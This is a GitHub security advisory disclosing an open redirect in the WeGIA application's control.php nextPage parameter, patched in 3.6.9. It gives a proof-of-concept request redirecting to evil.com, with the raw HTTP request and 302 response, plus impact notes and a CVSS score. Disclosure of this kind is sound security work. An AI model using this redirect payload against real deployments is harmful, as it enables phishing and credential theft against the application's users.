

# Open Redirect - IentradaControle - listarId() - Unvalidated \$\_GET['nextPage']

Moderate nilsonLazarin published GHSA-q72f-4qx3-cvp7 4 days ago

## Package

No package listed

## Affected versions

<=3.6.8

## Patched versions

3.6.9

## Description

### Summary

An Open Redirect vulnerability was identified in the /WeGIA/control/control.php endpoint of the WeGIA application, specifically through the nextPage parameter when combined with:

- metodo=listarId
- nomeClasse=IentradaControle

The application fails to validate or restrict the nextPage parameter, allowing attackers to redirect users to arbitrary external websites. This can be abused for phishing attacks, credential theft, malware distribution, and social engineering using the trusted WeGIA domain.

### PoC with admin

Navigate to the following URL:

```
GET /WeGIA/control/control.php?
nomeClasse=IentradaControle&metodo=listarId&id_entrada=1&nextPage=https://evil.com
HTTP/1.1
Host: sec.wegia.org:8000
```



Request

Pretty Raw Hex

```

1 GET /WeGIA/control/control.php?nomeClass=IentradaControl&metodo=ListarId&id_entrada=1&nextPage=https://evil.com HTTP/1.1
2 Host: sec.wegia.org:8080
3 Cookie: _ga=GA1.1.26087836.1774077977; _ga_fDDVXLV6J=662.1.6177409244692891st1774099208j60sLosh; PHPSESSID=4bq3h6fjvtokof7bjdnoagqal
4 Sec-Ch-Ua-Platform: Linux
5 X-Requested-With: XMLHttpRequest
6 Accept-Language: en-US,en;q=0.9
7 Accept: text/html,*/*; q=0.01
8 Sec-Ch-Ua: "Chromium";v="149"; "NotIA-Brand";v="99"
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
10 Sec-Ch-Ua-Mobile: ?0
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: cors
13 Sec-Fetch-Dest: empty
14 Referer: https://sec.wegia.org:8080/WeGIA/html/configuracao/listar_backup.php?msg=success&ccs=Backup%20envio%20com%20sucesso!
15 Accept-Encoding: gzip, deflate, br
16 Priority: u=1, i
17 Connection: keep-alive
18
19

```

Response

Pretty Raw Hex Render

```

1 HTTP/1.1 302 Found
2 Date: Sat, 21 Mar 2026 13:35:38 GMT
3 Server: Apache/2.4.62 (Debian)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Location: https://evil.com
8 Content-Length: 0
9 Keep-Alive: timeout5, max100
10 Connection: Keep-Alive
11 Content-Type: text/html; charset=utf-8
12
13

```

### Impact

It can be weaponized for phishing by sending a crafted link to an admin: the victim sees a legitimate-looking success message on the attacker's site after clicking. It allows to:

- Redirect users to phishing pages designed to steal credentials.
- Redirect users to malicious sites hosting malware or dangerous content.
- Perform social engineering attacks using trusted URLs from the WeGIA domain.
- Potentially interfere with authentication or session-handling flows.
- Damage user trust in the WeGIA platform.

### Severity

Moderate 5.1 / 10

#### CVSS v4 base metrics

#### Exploitability Metrics

|                     |         |
|---------------------|---------|
| Attack Vector       | Network |
| Attack Complexity   | Low     |
| Attack Requirements | None    |
| Privileges Required | None    |
| User interaction    | Active  |

#### Vulnerable System Impact Metrics

|                 |      |
|-----------------|------|
| Confidentiality | Low  |
| Integrity       | Low  |
| Availability    | None |

#### Subsequent System Impact Metrics

|                 |      |
|-----------------|------|
| Confidentiality | Low  |
| Integrity       | Low  |
| Availability    | None |

[Learn more about base metrics](#)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

---

### CVE ID

CVE-2026-35473

---

### Weaknesses

▶ CWE-601

---

### Credits



dapickle

Reporter



GabrielPintoSouza

Remediation developer